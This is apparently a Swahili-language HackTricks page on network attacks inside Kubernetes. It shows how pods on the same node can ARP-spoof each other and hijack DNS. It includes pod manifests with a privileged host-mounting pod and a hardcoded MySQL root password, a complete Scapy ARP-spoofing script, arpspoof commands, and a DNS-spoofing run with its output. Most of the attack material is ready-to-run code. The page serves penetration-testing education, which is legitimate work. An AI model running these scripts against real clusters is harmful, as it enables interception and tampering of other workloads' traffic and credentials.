Kubernetes Network Attacks

Jifunze kuhusu kudukua AWS kutoka mwanzo hadi mtaalamu na htARTE (Mtaalamu wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

Utangulizi

Katika Kubernetes, imeonekana kuwa tabia ya msingi inaruhusu kuanzishwa kwa uhusiano kati ya kontena zote zilizopo kwenye nodi moja. Hii inatumika bila kujali tofauti za namespace. Uunganisho huu unafikia hadi Tabaka 2 (Ethernet). Kwa hivyo, usanidi huu unaweza kusababisha mfumo kuwa wazi kwa vitisho. Hasa, inafungua uwezekano wa kontena mabaya kutekeleza shambulio la ARP spoofing dhidi ya kontena zingine zilizopo kwenye nodi hiyo hiyo. Wakati wa shambulio kama hilo, kontena mabaya linaweza kwa hila kuingilia au kubadilisha trafiki ya mtandao iliyokusudiwa kwa kontena zingine.

Mashambulizi ya ARP spoofing yanahusisha mshambuliaji kutuma ujumbe wa ARP uliodanganyifu (Itifaki ya Ufafanuzi wa Anwani) kwenye mtandao wa eneo la karibu. Hii husababisha anwani ya MAC ya mshambuliaji kuunganishwa na anwani ya IP ya kompyuta au seva halali kwenye mtandao. Baada ya kutekelezwa kwa mafanikio kwa shambulio kama hilo, mshambuliaji anaweza kuingilia, kubadilisha, au hata kusimamisha data inayosafirishwa. Shambulio hili hutekelezwa kwenye Tabaka 2 ya mfano wa OSI, ndio maana uunganisho wa msingi katika Kubernetes kwenye tabaka hili unazua wasiwasi wa usalama.

Katika kesi hii, mashine 4 zitabuniwa:

  • ubuntu-pe: Mashine yenye mamlaka ya kutoroka kwenye nodi na kuangalia vipimo (haina haja kwa shambulio)

  • ubuntu-attack: Kontena mabaya katika namespace ya default

  • ubuntu-victim: Mashine ya mwathirika katika namespace ya kube-system

  • mysql: Mashine ya mwathirika katika namespace ya default

echo 'apiVersion: v1
kind: Pod
metadata:
name: ubuntu-pe
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-pe
securityContext:
allowPrivilegeEscalation: true
privileged: true
runAsUser: 0
volumeMounts:
- mountPath: /host
name: host-volume
restartPolicy: Never
hostIPC: true
hostNetwork: true
hostPID: true
volumes:
- name: host-volume
hostPath:
path: /
---
apiVersion: v1
kind: Pod
metadata:
name: ubuntu-attack
labels:
app: ubuntu
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-attack
restartPolicy: Never
---
apiVersion: v1
kind: Pod
metadata:
name: ubuntu-victim
namespace: kube-system
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-victim
restartPolicy: Never
---
apiVersion: v1
kind: Pod
metadata:
name: mysql
spec:
containers:
- image: mysql:5.6
ports:
- containerPort: 3306
imagePullPolicy: IfNotPresent
name: mysql
env:
- name: MYSQL_ROOT_PASSWORD
value: mysql
restartPolicy: Never' | kubectl apply -f -
kubectl exec -it ubuntu-attack -- bash -c "apt update; apt install -y net-tools python3-pip python3 ngrep nano dnsutils; pip3 install scapy; bash"
kubectl exec -it ubuntu-victim -n kube-system -- bash -c "apt update; apt install -y net-tools curl netcat mysql-client; bash"
kubectl exec -it mysql bash -- bash -c "apt update; apt install -y net-tools; bash"

Mfumo wa Msingi wa Uunganishaji wa Kubernetes

Ikiwa unataka maelezo zaidi kuhusu mada za uunganishaji zilizoletwa hapa, nenda kwenye marejeo.

ARP

Kwa ujumla, uunganishaji kutoka pod hadi pod ndani ya node unapatikana kupitia daraja linalounganisha pod zote. Daraja hili huitwa "cbr0" (Baadhi ya programu-jalizi za mtandao zitainstall daraja yao wenyewe). Cbr0 pia inaweza kushughulikia ARP (Itifaki ya Ufumbuzi wa Anwani) ufumbuzi. Wakati pakiti inayokuja inawasili kwenye cbr0, inaweza kutatua anwani ya MAC ya marudio kwa kutumia ARP.

Ukweli huu unaashiria kwamba, kwa chaguo-msingi, kila pod inayotumika kwenye node ile ile itaweza kuwasiliana na pod nyingine yoyote kwenye node hiyo (bila kujali nafasi) kwenye kiwango cha ethernet (tabaka 2).

Kwa hivyo, ni rahisi kufanya mashambulizi ya ARP Spoofing kati ya pods kwenye node ile ile.

DNS

Katika mazingira ya kubernetes, kawaida utapata 1 (au zaidi) huduma za DNS zikifanya kazi kawaida kwenye nafasi ya kube-system:

kubectl -n kube-system describe services
Name:              kube-dns
Namespace:         kube-system
Labels:            k8s-app=kube-dns
kubernetes.io/cluster-service=true
kubernetes.io/name=KubeDNS
Annotations:       prometheus.io/port: 9153
prometheus.io/scrape: true
Selector:          k8s-app=kube-dns
Type:              ClusterIP
IP Families:       <none>
IP:                10.96.0.10
IPs:               10.96.0.10
Port:              dns  53/UDP
TargetPort:        53/UDP
Endpoints:         172.17.0.2:53
Port:              dns-tcp  53/TCP
TargetPort:        53/TCP
Endpoints:         172.17.0.2:53
Port:              metrics  9153/TCP
TargetPort:        9153/TCP
Endpoints:         172.17.0.2:9153

Katika habari iliyopita unaweza kuona kitu cha kuvutia, IP ya huduma ni 10.96.0.10 lakini IP ya podi inayotumia huduma ni 172.17.0.2.

Ikiwa utachunguza anwani ya DNS ndani ya podi yoyote utapata kitu kama hiki:

cat /etc/resolv.conf
nameserver 10.96.0.10

Hata hivyo, podi hajui jinsi ya kufikia anwani hiyo kwa sababu mbalimbali ya podi katika kesi hii ni 172.17.0.10/26.

Kwa hivyo, podi itatuma ombi la DNS kwa anwani 10.96.0.10 ambayo itakuwa kutafsiriwa na cbr0 kuwa 172.17.0.2.

Hii inamaanisha kwamba ombi la DNS la podi daima litapita daraja kwa kutafsiri IP ya huduma kuwa IP ya mwisho, hata kama seva ya DNS iko kwenye upanishaji sawa na podi.

Kwa kujua hili, na kujua mashambulizi ya ARP yanawezekana, podi katika node itaweza kukamata trafiki kati ya kila podi katika upanishaji na daraja na kurekebisha majibu ya DNS kutoka kwa seva ya DNS (DNS Spoofing).

Zaidi ya hayo, ikiwa seva ya DNS iko kwenye node sawa na mshambuliaji, mshambuliaji anaweza kukamata ombi zote za DNS za podi yoyote katika kikundi (kati ya seva ya DNS na daraja) na kurekebisha majibu.

Kudanganya ARP kwenye podi kwenye Node sawa

Lengo letu ni kuiba angalau mawasiliano kutoka kwa ubuntu-victim hadi mysql.

Scapy

python3 /tmp/arp_spoof.py
Enter Target IP:172.17.0.10 #ubuntu-victim
Enter Gateway IP:172.17.0.9 #mysql
Target MAC 02:42:ac:11:00:0a
Gateway MAC: 02:42:ac:11:00:09
Sending spoofed ARP responses

# Get another shell
kubectl exec -it ubuntu-attack -- bash
ngrep -d eth0

# Login from ubuntu-victim and mysql and check the unencrypted communication
# interacting with the mysql instance
arp_spoof.py
#From https://gist.github.com/rbn15/bc054f9a84489dbdfc35d333e3d63c87#file-arpspoofer-py
from scapy.all import *

def getmac(targetip):
arppacket= Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(op=1, pdst=targetip)
targetmac= srp(arppacket, timeout=2 , verbose= False)[0][0][1].hwsrc
return targetmac

def spoofarpcache(targetip, targetmac, sourceip):
spoofed= ARP(op=2 , pdst=targetip, psrc=sourceip, hwdst= targetmac)
send(spoofed, verbose= False)

def restorearp(targetip, targetmac, sourceip, sourcemac):
packet= ARP(op=2 , hwsrc=sourcemac , psrc= sourceip, hwdst= targetmac , pdst= targetip)
send(packet, verbose=False)
print("ARP Table restored to normal for", targetip)

def main():
targetip= input("Enter Target IP:")
gatewayip= input("Enter Gateway IP:")

try:
targetmac= getmac(targetip)
print("Target MAC", targetmac)
except:
print("Target machine did not respond to ARP broadcast")
quit()

try:
gatewaymac= getmac(gatewayip)
print("Gateway MAC:", gatewaymac)
except:
print("Gateway is unreachable")
quit()
try:
print("Sending spoofed ARP responses")
while True:
spoofarpcache(targetip, targetmac, gatewayip)
spoofarpcache(gatewayip, gatewaymac, targetip)
except KeyboardInterrupt:
print("ARP spoofing stopped")
restorearp(gatewayip, gatewaymac, targetip, targetmac)
restorearp(targetip, targetmac, gatewayip, gatewaymac)
quit()

if __name__=="__main__":
main()

# To enable IP forwarding: echo 1 > /proc/sys/net/ipv4/ip_forward

ARPSpoof

apt install dsniff
arpspoof -t 172.17.0.9 172.17.0.10

DNS Spoofing

Kama ilivyotajwa awali, ikiwa unachukua udhibiti wa podi kwenye nodi ile ile ya podi ya seva ya DNS, unaweza kufanya MitM na ARPSpoofing kwenye daraja na podi ya DNS na kurekebisha majibu yote ya DNS.

Unayo chombo na mafunzo mazuri sana ya kufanya majaribio haya kwenye https://github.com/danielsagi/kube-dnsspoof/

Katika mazingira yetu, pakua chombo kwenye podi ya mshambuliaji na unda faili iliyopewa jina hosts na domaini unazotaka kufanya spoof kama:

cat hosts
google.com. 1.1.1.1

Fanya shambulizi kwa kompyuta ya ubuntu-victim:

python3 exploit.py --direct 172.17.0.10
[*] starting attack on direct mode to pod 172.17.0.10
Bridge:  172.17.0.1 02:42:bd:63:07:8d
Kube-dns:  172.17.0.2 02:42:ac:11:00:02

[+] Taking over DNS requests from kube-dns. press Ctrl+C to stop
#In the ubuntu machine
dig google.com
[...]
;; ANSWER SECTION:
google.com.		1	IN	A	1.1.1.1

Ikiwa unajaribu kuunda script yako ya DNS spoofing, ikiwa unabadilisha tu jibu la DNS hilo halitafanya kazi, kwa sababu jibu litakuwa na IP ya chanzo ni anwani ya IP ya pod ya malicious na haliwezi kukubaliwa. Unahitaji kuzalisha paki mpya ya DNS na IP ya chanzo ya DNS ambapo muathiriwa anatuma ombi la DNS (ambayo ni kitu kama 172.16.0.2, sio 10.96.0.10, hiyo ni IP ya huduma ya DNS ya K8s na sio IP ya seva ya DNS, zaidi kuhusu hili katika utangulizi).

Kukamata Trafiki

Zana Mizu ni mtazamaji wa trafiki wa API wa Kubernetes rahisi lakini yenye nguvu inayokuwezesha kuona mawasiliano yote ya API kati ya microservices kusaidia katika kutatua matatizo na kurekebisha kasoro. Itaunda mawakala katika pod zilizochaguliwa na kukusanya habari zao za trafiki na kuonyesha kwenye seva ya wavuti. Walakini, utahitaji ruhusa kubwa za K8s kwa hili (na sio ya siri sana).

Marejeo

Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)!

Njia nyingine za kusaidia HackTricks:

Last updated